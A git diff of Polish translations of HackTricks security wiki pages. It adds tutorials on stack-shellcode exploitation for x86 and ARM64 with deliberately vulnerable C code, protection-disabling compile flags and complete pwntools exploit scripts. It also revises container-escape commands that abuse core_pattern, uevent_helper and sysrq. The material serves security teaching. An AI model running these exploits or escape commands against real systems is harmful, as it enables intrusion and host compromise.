Dzieje się tak, ponieważ **prolog i epilog ulegają zmianie**, jeśli binarny jest zoptymalizowany.
* **Niezoptymalizowany:**
@@ -120,7 +120,7 @@ sub $0x100,%esp # increase stack size
leave # restore ebp (leave == mov %ebp, %esp; pop %ebp)
ret # return
```
-* **Zoptymalizowane:**
+* **Zoptymalizowany:**
```bash
push %ebx # save ebx
sub $0x100,%esp # increase stack size
@@ -200,4 +200,24 @@ Sprawdź technikę ret2esp tutaj:
* [https://guyinatuxedo.github.io/17-stack\_pivot/dcquals19\_speedrun4/index.html](https://guyinatuxedo.github.io/17-stack\_pivot/dcquals19\_speedrun4/index.html)
* 64 bity, eksploatacja off by one z łańcuchem rop zaczynającym się od ret sled
* [https://guyinatuxedo.github.io/17-stack\_pivot/insomnihack18\_onewrite/index.html](https://guyinatuxedo.github.io/17-stack\_pivot/insomnihack18\_onewrite/index.html)
-* 64 bity, brak relro, canary, nx i pie. Program udostępnia wyciek stosu lub pie oraz WWW qword. Najpierw uzyskaj wyciek stosu i użyj WWW, aby wrócić i uzyskać wyciek pie. Następnie użyj WWW, aby stworzyć wieczną pętlę nadużywając wpisów `.fini_array` + wywołując `__libc_csu_fini` ([więcej informacji tutaj](../arbitrary-write-2-exec/www2exec-.dtors-and-.fini\_array.md)). Nadużywając tego "wiecznego" zapisu, zostaje napisany łańcuch ROP w .bss i kończy się jego wywołaniem, obracając się z RBP.
+* 64 bity, brak relro, canary, nx i pie. Program udostępnia wyciek dla stosu lub pie oraz WWW qword. Najpierw uzyskaj wyciek stosu i użyj WWW, aby wrócić i uzyskać wyciek pie. Następnie użyj WWW, aby stworzyć wieczną pętlę nadużywając wpisów `.fini_array` + wywołując `__libc_csu_fini` ([więcej informacji tutaj](../arbitrary-write-2-exec/www2exec-.dtors-and-.fini\_array.md)). Nadużywając tego "wiecznego" zapisu, zostaje napisany łańcuch ROP w .bss i kończy się jego wywołaniem, obracając się z RBP.
+
+## ARM64
+
+W ARM64, **prologi i epilogi** funkcji **nie przechowują i nie przywracają rejestru SP** na stosie. Dlatego domyślnie **nie będziesz mógł kontrolować rejestru SP** poprzez nadpisanie pewnych danych wewnątrz stosu.
+
+
+
+
+
+Naucz się hakować AWS od zera do bohatera z htARTE (HackTricks AWS Red Team Expert)!
+
+Inne sposoby wsparcia HackTricks:
+
+* Jeśli chcesz zobaczyć swoją **firmę reklamowaną w HackTricks** lub **pobrać HackTricks w formacie PDF**, sprawdź [**PLANY SUBSKRYPCYJNE**](https://github.com/sponsors/carlospolop)!
+* Zdobądź [**oficjalne gadżety PEASS & HackTricks**](https://peass.creator-spring.com)
+* Odkryj [**Rodzinę PEASS**](https://opensea.io/collection/the-peass-family), naszą kolekcję ekskluzywnych [**NFT**](https://opensea.io/collection/the-peass-family)
+* **Dołącz do** 💬 [**grupy Discord**](https://discord.gg/hRep4RUj7f) lub [**grupy telegramowej**](https://t.me/peass) lub **śledź** nas na **Twitterze** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
+* **Podziel się swoimi sztuczkami hakerskimi, przesyłając PR-y do** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
+
+
diff --git a/binary-exploitation/stack-overflow/stack-shellcode/README.md b/binary-exploitation/stack-overflow/stack-shellcode/README.md
new file mode 100644
index 000000000..e29a07bea
--- /dev/null
+++ b/binary-exploitation/stack-overflow/stack-shellcode/README.md
@@ -0,0 +1,99 @@
+# Kod Shellcode na Stosie
+
+
+
+Naucz się hakować AWS od zera do bohatera z htARTE (HackTricks AWS Red Team Expert)!
+
+Inne sposoby wsparcia HackTricks:
+
+* Jeśli chcesz zobaczyć swoją **firmę reklamowaną w HackTricks** lub **pobrać HackTricks w formacie PDF**, sprawdź [**PLANY SUBSKRYPCYJNE**](https://github.com/sponsors/carlospolop)!
+* Zdobądź [**oficjalne gadżety PEASS & HackTricks**](https://peass.creator-spring.com)
+* Odkryj [**Rodzinę PEASS**](https://opensea.io/collection/the-peass-family), naszą kolekcję ekskluzywnych [**NFT**](https://opensea.io/collection/the-peass-family)
+* **Dołącz do** 💬 [**grupy Discord**](https://discord.gg/hRep4RUj7f) lub [**grupy telegramowej**](https://t.me/peass) lub **śledź** nas na **Twitterze** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
+* **Podziel się swoimi sztuczkami hakerskimi, przesyłając PR-y do** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) na GitHubie.
+
+
+
+## Podstawowe Informacje
+
+**Kod shellcode na stosie** to technika używana w **eksploatacji binarnej**, gdzie atakujący zapisuje shellcode do stosu podatnego programu, a następnie modyfikuje **Wskaźnik Instrukcji (IP)** lub **Rozszerzony Wskaźnik Instrukcji (EIP)**, aby wskazywał na lokalizację tego shellcode, co powoduje jego wykonanie. Jest to klasyczna metoda używana do uzyskania nieautoryzowanego dostępu lub wykonania dowolnych poleceń na systemie docelowym. Oto rozbudowany opis procesu, w tym prosty przykład w języku C i sposób napisania odpowiadającego exploitu przy użyciu Pythona z **pwntools**.
+
+### Przykład w języku C: Podatny Program
+
+Zacznijmy od prostego przykładu podatnego programu w języku C:
+```c
+#include
+#include
+
+void vulnerable_function() {
+char buffer[64];
+gets(buffer); // Unsafe function that does not check for buffer overflow
+}
+
+int main() {
+vulnerable_function();
+printf("Returned safely\n");
+return 0;
+}
+```
+Ten program jest podatny na przepełnienie bufora ze względu na użycie funkcji `gets()`.
+
+### Kompilacja
+
+Aby skompilować ten program, wyłączając różne zabezpieczenia (aby zasymulować środowisko podatne na ataki), można użyć poniższej komendy:
+```sh
+gcc -m32 -fno-stack-protector -z execstack -no-pie -o vulnerable vulnerable.c
+```
+* `-fno-stack-protector`: Wyłącza ochronę stosu.
+* `-z execstack`: Sprawia, że stos jest wykonywalny, co jest konieczne do wykonania shellcode przechowywanego na stosie.
+* `-no-pie`: Wyłącza wykonywalne niezależne od pozycji, ułatwiając przewidywanie adresu pamięci, w którym znajdzie się nasz shellcode.
+* `-m32`: Kompiluje program jako wykonywalny 32-bitowy, często używany ze względu na prostotę w tworzeniu exploitów.
+
+### Python Exploit z użyciem Pwntools
+
+Oto jak można napisać exploit w Pythonie, korzystając z **pwntools**, aby przeprowadzić atak **ret2shellcode**:
+```python
+from pwn import *
+
+# Set up the process and context
+binary_path = './vulnerable'
+p = process(binary_path)
+context.binary = binary_path
+context.arch = 'i386' # Specify the architecture
+
+# Generate the shellcode
+shellcode = asm(shellcraft.sh()) # Using pwntools to generate shellcode for opening a shell
+
+# Find the offset to EIP
+offset = cyclic_find(0x6161616c) # Assuming 0x6161616c is the value found in EIP after a crash
+
+# Prepare the payload
+# The NOP slide helps to ensure that the execution flow hits the shellcode.
+nop_slide = asm('nop') * (offset - len(shellcode))
+payload = nop_slide + shellcode
+payload += b'A' * (offset - len(payload)) # Adjust the payload size to exactly fill the buffer and overwrite EIP
+payload += p32(0xffffcfb4) # Supossing 0xffffcfb4 will be inside NOP slide
+
+# Send the payload
+p.sendline(payload)
+p.interactive()
+```
+Ten skrypt konstruuje ładunek składający się z **slajdu NOP**, **kodu powłoki**, a następnie nadpisuje **EIP** adresem wskazującym na slajd NOP, zapewniając wykonanie kodu powłoki.
+
+**Slajd NOP** (`asm('nop')`) jest używany do zwiększenia szansy, że wykonanie "poślizgnie się" do naszego kodu powłoki bez względu na dokładny adres. Dostosuj argument `p32()` do adresu początkowego bufora plus przesunięcia, aby trafić na slajd NOP.
+
+## Protections
+
+* [**ASLR**](../../common-binary-protections-and-bypasses/aslr/) **powinien być wyłączony**, aby adres był niezawodny podczas kolejnych wykonan lub adres, pod którym będzie przechowywana funkcja, nie będzie zawsze taki sam, i będziesz potrzebować wycieku, aby dowiedzieć się, gdzie jest załadowana funkcja win.
+* [**Canary na stosie**](../../common-binary-protections-and-bypasses/stack-canaries/) powinien być również wyłączony, w przeciwnym razie skompromitowany adres powrotu EIP nie zostanie nigdy wykonany.
+* [**NX**](../../common-binary-protections-and-bypasses/no-exec-nx.md) ochrona **stosu** uniemożliwi wykonanie kodu powłoki wewnątrz stosu, ponieważ ta strefa nie będzie wykonawcza.
+
+## Inne przykłady i odnośniki
+
+* [https://ir0nstone.gitbook.io/notes/types/stack/shellcode](https://ir0nstone.gitbook.io/notes/types/stack/shellcode)
+* [https://guyinatuxedo.github.io/06-bof\_shellcode/csaw17\_pilot/index.html](https://guyinatuxedo.github.io/06-bof\_shellcode/csaw17\_pilot/index.html)
+* 64-bitowy, ASLR z wyciekiem adresu stosu, napisz kod powłoki i skocz do niego
+* [https://guyinatuxedo.github.io/06-bof\_shellcode/tamu19\_pwn3/index.html](https://guyinatuxedo.github.io/06-bof\_shellcode/tamu19\_pwn3/index.html)
+* 32-bitowy, ASLR z wyciekiem adresu stosu, napisz kod powłoki i skocz do niego
+* [https://guyinatuxedo.github.io/06-bof\_shellcode/tu18\_shellaeasy/index.html](https://guyinatuxedo.github.io/06-bof\_shellcode/tu18\_shellaeasy/index.html)
+* 32-bitowy, ASLR z wyciekiem adresu stosu, porównanie w celu zapobieżenia wywołaniu exit(), nadpisanie zmiennej wartością, napisz kod powłoki i skocz do niego
diff --git a/binary-exploitation/stack-overflow/stack-shellcode/stack-shellcode-arm64.md b/binary-exploitation/stack-overflow/stack-shellcode/stack-shellcode-arm64.md
new file mode 100644
index 000000000..f2fba9910
--- /dev/null
+++ b/binary-exploitation/stack-overflow/stack-shellcode/stack-shellcode-arm64.md
@@ -0,0 +1,85 @@
+# Kod Shellcode - arm64
+
+
+
+Nauka hakowania AWS od zera do bohatera z htARTE (HackTricks AWS Red Team Expert)!
+
+Inne sposoby wsparcia HackTricks:
+
+* Jeśli chcesz zobaczyć swoją **firmę reklamowaną w HackTricks** lub **pobrać HackTricks w formacie PDF**, sprawdź [**PLANY SUBSKRYPCYJNE**](https://github.com/sponsors/carlospolop)!
+* Zdobądź [**oficjalne gadżety PEASS & HackTricks**](https://peass.creator-spring.com)
+* Odkryj [**Rodzinę PEASS**](https://opensea.io/collection/the-peass-family), naszą kolekcję ekskluzywnych [**NFT**](https://opensea.io/collection/the-peass-family)
+* **Dołącz do** 💬 [**Grupy Discord**](https://discord.gg/hRep4RUj7f) lub [**grupy telegramowej**](https://t.me/peass) lub **śledź** nas na **Twitterze** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
+* **Podziel się swoimi sztuczkami hakowania, przesyłając PR-y do** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
+
+
+
+Znajdź wprowadzenie do arm64 w:
+
+{% content-ref url="../../../macos-hardening/macos-security-and-privilege-escalation/macos-apps-inspecting-debugging-and-fuzzing/arm64-basic-assembly.md" %}
+[arm64-basic-assembly.md](../../../macos-hardening/macos-security-and-privilege-escalation/macos-apps-inspecting-debugging-and-fuzzing/arm64-basic-assembly.md)
+{% endcontent-ref %}
+
+## Kod
+```c
+#include
+#include
+
+void vulnerable_function() {
+char buffer[64];
+read(STDIN_FILENO, buffer, 256); // <-- bof vulnerability
+}
+
+int main() {
+vulnerable_function();
+return 0;
+}
+```
+Kompiluj bez pie, canary i nx:
+
+{% code overflow="wrap" %}
+```bash
+clang -o bof bof.c -fno-stack-protector -Wno-format-security -no-pie -z execstack
+```
+## Brak ASLR & Brak canary - Przepełnienie stosu
+
+Aby zatrzymać ASLR wykonaj:
+```bash
+echo 0 | sudo tee /proc/sys/kernel/randomize_va_space
+```
+Aby uzyskać **przesunięcie bof sprawdź ten link**.
+
+Wykorzystanie:
+```python
+from pwn import *
+
+# Load the binary
+binary_name = './bof'
+elf = context.binary = ELF(binary_name)
+
+# Generate shellcode
+shellcode = asm(shellcraft.sh())
+
+# Start the process
+p = process(binary_name)
+
+# Offset to return address
+offset = 72
+
+# Address in the stack after the return address
+ret_address = p64(0xfffffffff1a0)
+
+# Craft the payload
+payload = b'A' * offset + ret_address + shellcode
+
+print("Payload length: "+ str(len(payload)))
+
+# Send the payload
+p.send(payload)
+
+# Drop to an interactive session
+p.interactive()
+```
+Jedyną "skomplikowaną" rzeczą do znalezienia tutaj byłby adres na stosie do wywołania. W moim przypadku wygenerowałem exploit z adresem znalezionym za pomocą gdb, ale potem podczas jego wykorzystywania nie działał (ponieważ adres stosu trochę się zmienił).
+
+Otworzyłem wygenerowany plik **`core`** (`gdb ./bog ./core`) i sprawdziłem rzeczywisty adres początku shellcode'u.
diff --git a/linux-hardening/privilege-escalation/docker-security/docker-breakout-privilege-escalation/sensitive-mounts.md b/linux-hardening/privilege-escalation/docker-security/docker-breakout-privilege-escalation/sensitive-mounts.md
index 02d654e32..dbaedb311 100644
--- a/linux-hardening/privilege-escalation/docker-security/docker-breakout-privilege-escalation/sensitive-mounts.md
+++ b/linux-hardening/privilege-escalation/docker-security/docker-breakout-privilege-escalation/sensitive-mounts.md
@@ -2,7 +2,7 @@
-Zacznij od zera i stań się ekspertem od hakowania AWS dzięki htARTE (HackTricks AWS Red Team Expert)!
+Nauka hakowania AWS od zera do bohatera z htARTE (HackTricks AWS Red Team Expert)!
Inne sposoby wsparcia HackTricks:
@@ -14,7 +14,7 @@ Inne sposoby wsparcia HackTricks:
-
+
{% embed url="https://websec.nl/" %}
@@ -22,7 +22,7 @@ Ujawnienie `/proc` i `/sys` bez odpowiedniej izolacji przestrzeni nazw wprowadza
**Możesz znaleźć dalsze szczegóły dotyczące każdej potencjalnej luki w** [**https://0xn3va.gitbook.io/cheat-sheets/container/escaping/sensitive-mounts**](https://0xn3va.gitbook.io/cheat-sheets/container/escaping/sensitive-mounts)**.**
-## Zagrożenia związane z procfs
+## Zagrożenia procfs
### `/proc/sys`
@@ -31,29 +31,29 @@ Ten katalog umożliwia dostęp do modyfikacji zmiennych jądra, zazwyczaj za pom
#### **`/proc/sys/kernel/core_pattern`**
* Opisany w [core(5)](https://man7.org/linux/man-pages/man5/core.5.html).
-* Umożliwia zdefiniowanie programu do wykonania podczas generowania pliku rdzenia z pierwszymi 128 bajtami jako argumentami. Może to prowadzić do wykonania kodu, jeśli plik zaczyna się od rury `|`.
+* Pozwala zdefiniować program do wykonania podczas generowania pliku rdzenia z pierwszymi 128 bajtami jako argumentami. Może to prowadzić do wykonania kodu, jeśli plik zaczyna się od rury `|`.
* **Przykład testowania i eksploatacji**:
```bash
[ -w /proc/sys/kernel/core_pattern ] && echo Yes # Test dostępu do zapisu
cd /proc/sys/kernel
-echo "|$overlay/shell.sh" > core_pattern # Ustawianie niestandardowego obsługującego
-sleep 5 && ./crash & # Wywołanie obsługującego
+echo "|$overlay/shell.sh" > core_pattern # Ustawianie niestandardowego obsługiwacza
+sleep 5 && ./crash & # Wywołanie obsługiwacza
```
#### **`/proc/sys/kernel/modprobe`**
-* Szczegóły w [proc(5)](https://man7.org/linux/man-pages/man5/proc.5.html).
+* Szczegółowo opisany w [proc(5)](https://man7.org/linux/man-pages/man5/proc.5.html).
* Zawiera ścieżkę do ładowacza modułów jądra, wywoływanego do ładowania modułów jądra.
* **Przykład sprawdzania dostępu**:
```bash
-ls -l $(cat /proc/sys/kernel/modprobe) # Sprawdź dostęp do modprobe
+ls -l $(cat /proc/sys/kernel/modprobe) # Sprawdzanie dostępu do modprobe
```
#### **`/proc/sys/vm/panic_on_oom`**
-* Odwołanie w [proc(5)](https://man7.org/linux/man-pages/man5/proc.5.html).
+* Wzmiankowany w [proc(5)](https://man7.org/linux/man-pages/man5/proc.5.html).
* Globalna flaga kontrolująca, czy jądro ma panikować czy wywoływać zabójcę OOM, gdy wystąpi warunek OOM.
#### **`/proc/sys/fs`**
@@ -101,7 +101,7 @@ echo b > /proc/sysrq-trigger # Ponowne uruchomienie hosta
* Interfejsuje z urządzeniem pamięci jądra `/dev/mem`.
* Historycznie podatny na ataki eskalacji uprawnień.
-* Więcej w [proc(5)](https://man7.org/linux/man-pages/man5/proc.5.html).
+* Więcej na temat [proc(5)](https://man7.org/linux/man-pages/man5/proc.5.html).
#### **`/proc/kcore`**
@@ -112,7 +112,7 @@ echo b > /proc/sysrq-trigger # Ponowne uruchomienie hosta
#### **`/proc/kmem`**
-* Alternatywny interfejs dla `/dev/kmem`, reprezentujący wirtualną pamięć jądra.
+* Alternatywny interfejs dla `/dev/kmem`, reprezentujący pamięć wirtualną jądra.
* Umożliwia odczytywanie i zapisywanie, co umożliwia bezpośrednią modyfikację pamięci jądra.
#### **`/proc/mem`**
@@ -123,14 +123,14 @@ echo b > /proc/sysrq-trigger # Ponowne uruchomienie hosta
#### **`/proc/sched_debug`**
* Zwraca informacje o harmonogramowaniu procesów, omijając zabezpieczenia przestrzeni nazw PID.
-* Ujawnia nazwy procesów, identyfikatory PID i identyfikatory cgroup.
+* Ujawnia nazwy procesów, identyfikatory PID i grupy cgroup.
#### **`/proc/[pid]/mountinfo`**
* Udostępnia informacje o punktach montowania w przestrzeni nazw montowania procesu.
* Ujawnia lokalizację `rootfs` kontenera lub obrazu.
-### Zagrożenia związane z `/sys`
+### Zagrożenia sysfs
#### **`/sys/kernel/uevent_helper`**
@@ -138,23 +138,23 @@ echo b > /proc/sysrq-trigger # Ponowne uruchomienie hosta
* Zapisywanie do `/sys/kernel/uevent_helper` może uruchamiać arbitralne skrypty po wyzwaleniu `uevent`.
* **Przykład eksploatacji**: %%%bash
-## Tworzy ładunek
+### Tworzy ładunek
echo "#!/bin/sh" > /evil-helper echo "ps > /output" >> /evil-helper chmod +x /evil-helper
-## Znajduje ścieżkę hosta z montażu OverlayFS dla kontenera
+### Znajduje ścieżkę hosta z montowania OverlayFS dla kontenera
host\_path=$(sed -n 's/._\perdir=(\[^,]_).\*/\1/p' /etc/mtab)
-## Ustawia uevent\_helper na złośliwego pomocnika
+### Ustawia uevent\_helper na złośliwego pomocnika
echo "$host\_path/evil-helper" > /sys/kernel/uevent\_helper
-## Wywołuje uevent
+### Wywołuje uevent
echo change > /sys/class/mem/null/uevent
-## Odczytuje wynik
+### Odczytuje wynik
cat /output %%%
#### **`/sys/class/thermal`**
@@ -163,7 +163,7 @@ cat /output %%%
#### **`/sys/kernel/vmcoreinfo`**
-* Ujawnia adresy jądra, potencjalnie kompromitując KASLR.
+* Wycieka adresy jądra, potencjalnie kompromitując KASLR.
#### **`/sys/kernel/security`**
@@ -172,8 +172,8 @@ cat /output %%%
#### **`/sys/firmware/efi/vars` and `/sys/firmware/efi/efivars`**
-* Ujawnia interfejsy do interakcji z zmiennymi EFI w NVRAM.
-* Niewłaściwa konfiguracja lub eksploatacja może prowadzić do zablokowania laptopów lub niemożności uruchomienia hosta.
+* Ujawnia interfejsy do interakcji z zmiennymi EFI w pamięci NVRAM.
+* Niewłaściwa konfiguracja lub eksploatacja może prowadzić do zablokowania laptopów lub niemożliwości uruchomienia hosta.
#### **`/sys/kernel/debug`**
@@ -186,7 +186,7 @@ cat /output %%%
* [Understanding and Hardening Linux Containers](https://research.nccgroup.com/wp-content/uploads/2020/07/ncc\_group\_understanding\_hardening\_linux\_containers-1-1.pdf)
* [Abusing Privileged and Unprivileged Linux Containers](https://www.nccgroup.com/globalassets/our-research/us/whitepapers/2016/june/container\_whitepaper.pdf)
-
+
{% embed url="https://websec.nl/" %}
@@ -199,7 +199,7 @@ Inne sposoby wsparcia HackTricks:
* Jeśli chcesz zobaczyć swoją **firmę reklamowaną w HackTricks** lub **pobrać HackTricks w formacie PDF**, sprawdź [**PLANY SUBSKRYPCYJNE**](https://github.com/sponsors/carlospolop)!
* Kup [**oficjalne gadżety PEASS & HackTricks**](https://peass.creator-spring.com)
* Odkryj [**Rodzinę PEASS**](https://opensea.io/collection/the-peass-family), naszą kolekcję ekskluzywnych [**NFT**](https://opensea.io/collection/the-peass-family)
-* **Dołącz do** 💬 [**grupy Discord**](https://discord.gg/hRep4RUj7f) lub [**grupy telegramowej**](https://t.me/peass) lub **śledź** nas na **Twitterze** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
+* **Dołącz do** 💬 [**Grupy Discord**](https://discord.gg/hRep4RUj7f) lub [**grupy telegramowej**](https://t.me/peass) lub **śledź** nas na **Twitterze** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Podziel się swoimi sztuczkami hakerskimi, przesyłając PR-y do** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
diff --git a/network-services-pentesting/pentesting-web/README.md b/network-services-pentesting/pentesting-web/README.md
index 97655f525..b82d51176 100644
--- a/network-services-pentesting/pentesting-web/README.md
+++ b/network-services-pentesting/pentesting-web/README.md
@@ -2,12 +2,12 @@
-Zacznij od zera i stań się ekspertem od hakowania AWS dzięki htARTE (HackTricks AWS Red Team Expert)!
+Zacznij od zera i zostań ekspertem od hakowania AWS dzięki htARTE (HackTricks AWS Red Team Expert)!
Inne sposoby wsparcia HackTricks:
* Jeśli chcesz zobaczyć swoją **firmę reklamowaną na HackTricks** lub **pobrać HackTricks w formacie PDF**, sprawdź [**PLANY SUBSKRYPCYJNE**](https://github.com/sponsors/carlospolop)!
-* Zdobądź [**oficjalne gadżety PEASS & HackTricks**](https://peass.creator-spring.com)
+* Kup [**oficjalne gadżety PEASS & HackTricks**](https://peass.creator-spring.com)
* Odkryj [**Rodzinę PEASS**](https://opensea.io/collection/the-peass-family), naszą kolekcję ekskluzywnych [**NFT**](https://opensea.io/collection/the-peass-family)
* **Dołącz do** 💬 [**grupy Discord**](https://discord.gg/hRep4RUj7f) lub [**grupy telegramowej**](https://t.me/peass) lub **śledź** nas na **Twitterze** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Podziel się swoimi sztuczkami hakerskimi, przesyłając PR-y do** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) na GitHubie.
@@ -16,13 +16,13 @@ Inne sposoby wsparcia HackTricks:
-Jeśli interesuje Cię **kariera w dziedzinie hakerstwa** i hakowanie niemożliwych do zhakowania - **rekrutujemy!** (_wymagana biegła znajomość języka polskiego w mowie i piśmie_).
+Jeśli interesuje Cię **kariera hakerska** i hakowanie niemożliwych do zhakowania - **rekrutujemy!** (_wymagana biegła znajomość języka polskiego, zarówno pisemna, jak i mówiona_).
{% embed url="https://www.stmcyber.com/careers" %}
## Podstawowe informacje
-Usługa internetowa jest najbardziej **powszechną i rozległą usługą**, w której istnieje wiele **różnych rodzajów podatności**.
+Usługa internetowa to najbardziej **powszechna i rozległa usługa**, w której istnieje wiele **różnych rodzajów podatności**.
**Domyślny port:** 80 (HTTP), 443(HTTPS)
```bash
@@ -51,13 +51,13 @@ openssl s_client -connect domain.com:443 # GET / HTTP/1.0
* [ ] Czy istnieje **specjalistyczne narzędzie skanujące** do uruchomienia (np. wpscan)?
* [ ] Uruchom **skanery ogólnego przeznaczenia**. Nigdy nie wiesz, czy znajdą coś ciekawego.
* [ ] Rozpocznij od **początkowych sprawdzeń**: **robots.txt**, **mapa witryny (sitemap)**, błąd **404** i skan **SSL/TLS** (jeśli HTTPS).
-* [ ] Rozpocznij **przeglądanie strony**: Czas znaleźć wszystkie możliwe **pliki, foldery** i **parametry** używane. Sprawdź również **specjalne znaleziska**.
-* [ ] _Zauważ, że za każdym razem, gdy podczas prób siłowych lub przeglądania odkryjesz nowy katalog, należy go przeszukać._
-* [ ] **Próba siłowego przeglądania katalogów**: Spróbuj siłowo przeszukać wszystkie odkryte foldery w poszukiwaniu nowych **plików** i **katalogów**.
-* [ ] _Zauważ, że za każdym razem, gdy podczas prób siłowych lub przeglądania odkryjesz nowy katalog, należy go siłowo przeszukać._
+* [ ] Rozpocznij **indeksowanie** strony internetowej: Czas **odnaleźć** wszystkie możliwe **pliki, foldery** i **parametry** używane. Sprawdź również **specjalne znaleziska**.
+* [ ] _Zauważ, że za każdym razem, gdy podczas prób siłowych lub indeksowania odkryjesz nowy katalog, powinieneś go zindeksować._
+* [ ] **Próba siłowa katalogów**: Spróbuj siłowo przejrzeć wszystkie odkryte foldery w poszukiwaniu nowych **plików** i **katalogów**.
+* [ ] _Zauważ, że za każdym razem, gdy podczas prób siłowych lub indeksowania odkryjesz nowy katalog, powinieneś go siłowo przetestować._
* [ ] **Sprawdzanie kopii zapasowych**: Sprawdź, czy można znaleźć **kopie zapasowe** odkrytych plików, dodając powszechne rozszerzenia kopii zapasowych.
-* [ ] **Siłowe przeglądanie parametrów**: Spróbuj znaleźć **ukryte parametry**.
-* [ ] Gdy zidentyfikujesz wszystkie możliwe **punkty końcowe** akceptujące **dane użytkownika**, sprawdź wszelkie rodzaje związanych z nimi **podatności**.
+* [ ] **Siłowe testowanie parametrów**: Spróbuj **odnaleźć ukryte parametry**.
+* [ ] Gdy już **zidentyfikujesz** wszystkie możliwe **punkty końcowe** akceptujące **dane użytkownika**, sprawdź wszelkie rodzaje związanych z nimi **podatności**.
* [ ] [Postępuj zgodnie z tą listą kontrolną](../../pentesting-web/web-vulnerabilities-methodology.md)
## Wersja serwera (Podatny?)
@@ -72,7 +72,7 @@ whatweb -a 3 #Aggresive
webtech -u
webanalyze -host https://google.com -crawl 2
```
-Szukaj **podatności aplikacji internetowej** **w wersji**.
+Szukaj **podatności aplikacji internetowej** **w wersji**](../../generic-methodologies-and-resources/search-exploits.md)
### **Sprawdź, czy istnieje WAF**
@@ -82,7 +82,7 @@ Szukaj **podatności aplikacji internetowej** **w wersji**.
### Triki technologii internetowych
-Kilka **trików** do **znajdowania podatności** w różnych znanych **technologiach**:
+Kilka **trików** do **znajdowania podatności** w różnych znanych **technologiach** używanych:
* [**AEM - Adobe Experience Cloud**](aem-adobe-experience-cloud.md)
* [**Apache**](apache.md)
@@ -116,15 +116,15 @@ Kilka **trików** do **znajdowania podatności** w różnych znanych **technolog
* [**Wordpress**](wordpress.md)
* [**Electron Desktop (XSS to RCE)**](electron-desktop-apps/)
-_Miej na uwadze, że ta sama **domena** może używać **różnych technologii** na różnych **portach**, **folderach** i **subdomenach**._\
-Jeśli aplikacja internetowa używa jakiejkolwiek znanej **technologii/platformy wymienionej wcześniej** lub **innej**, nie zapomnij **szukać w Internecie** nowych trików (i daj mi znać!).
+_Miej na uwadze, że **ta sama domena** może używać **różnych technologii** na różnych **portach**, **folderach** i **subdomenach**._\
+Jeśli aplikacja internetowa używa **jakiejkolwiek znanej technologii/platformy wymienionej wcześniej** lub **innej**, nie zapomnij **szukać w Internecie** nowych trików (i daj mi znać!).
### Przegląd kodu źródłowego
Jeśli **kod źródłowy** aplikacji jest dostępny w **github**, oprócz przeprowadzenia **testu White box** aplikacji na własną rękę, istnieje **kilka informacji**, które mogą być **przydatne** do obecnego **testu Black-Box**:
-* Czy istnieje **dziennik zmian lub plik Readme lub informacje o wersji** dostępne przez sieć?
-* Jak i gdzie są przechowywane **dane uwierzytelniające**? Czy istnieje (dostępny?) **plik** z danymi uwierzytelniającymi (nazwy użytkowników lub hasła)?
+* Czy istnieje **dziennik zmian lub plik Readme lub informacje o wersji dostępne** przez sieć?
+* Jak i gdzie są zapisane **dane uwierzytelniające**? Czy istnieje (dostępny?) **plik** z danymi uwierzytelniającymi (nazwy użytkowników lub hasła)?
* Czy **hasła** są w **czystym tekście**, **zaszyfrowane** lub jaki **algorytm haszowania** jest używany?
* Czy jest używany **klucz główny** do szyfrowania czegoś? Jaki **algorytm** jest używany?
* Czy możesz **uzyskać dostęp do któregokolwiek z tych plików** wykorzystując jakąś podatność?
@@ -153,7 +153,7 @@ node puff.js -w ./wordlist-examples/xss.txt -u "http://www.xssgame.com/f/m4KKGHi
Jeśli jest używany CMS, nie zapomnij **uruchomić skanera**, być może znajdziesz coś interesującego:
- [**Clusterd**](https://github.com/hatRiot/clusterd)**:** [**JBoss**](jboss.md)**, ColdFusion, WebLogic,** [**Tomcat**](tomcat/)**, Railo, Axis2, Glassfish**\
-- [**CMSScan**](https://github.com/ajinabraham/CMSScan): [**WordPress**](wordpress.md), [**Drupal**](drupal.md), **Joomla**, **vBulletin** strony internetowe w poszukiwaniu problemów z bezpieczeństwem. (GUI)\
+- [**CMSScan**](https://github.com/ajinabraham/CMSScan): Strony [**WordPress**](wordpress.md), [**Drupal**](drupal.md), **Joomla**, **vBulletin** w poszukiwaniu problemów zabezpieczeń. (GUI)\
- [**VulnX**](https://github.com/anouarbensaad/vulnx)**:** [**Joomla**](joomla.md)**,** [**Wordpress**](wordpress.md)**,** [**Drupal**](drupal.md)**, PrestaShop, Opencart**\
- **CMSMap**: [**(W)ordpress**](wordpress.md)**,** [**(J)oomla**](joomla.md)**,** [**(D)rupal**](drupal.md) **lub** [**(M)oodle**](moodle.md)\
- [**droopscan**](https://github.com/droope/droopescan)**:** [**Drupal**](drupal.md)**,** [**Joomla**](joomla.md)**,** [**Moodle**](moodle.md)**, Silverstripe,** [**Wordpress**](wordpress.md)
@@ -187,21 +187,21 @@ Serwery WWW mogą **zachowywać się niespodziewanie**, gdy do nich wysyłane s
* Otwórz **fałszywe strony** takie jak /cokolwiek\_fake.php (.aspx,.html,.itp)
* Dodaj "\[]", "]]" i "\[\[" w **wartościach ciasteczka** i **wartościach parametrów** aby wywołać błędy
* Wygeneruj błąd, wpisując dane wejściowe jako **`/~randomthing/%s`** na **końcu** **URL**
-* Spróbuj użyć **różnych czasowników HTTP** jak PATCH, DEBUG lub błędny jak FAKE
+* Spróbuj użyć **różnych czasowników HTTP** takich jak PATCH, DEBUG lub błędny, np. FAKE
#### **Sprawdź, czy możesz przesyłać pliki (**[**metoda PUT, WebDav**](put-method-webdav.md)**)**
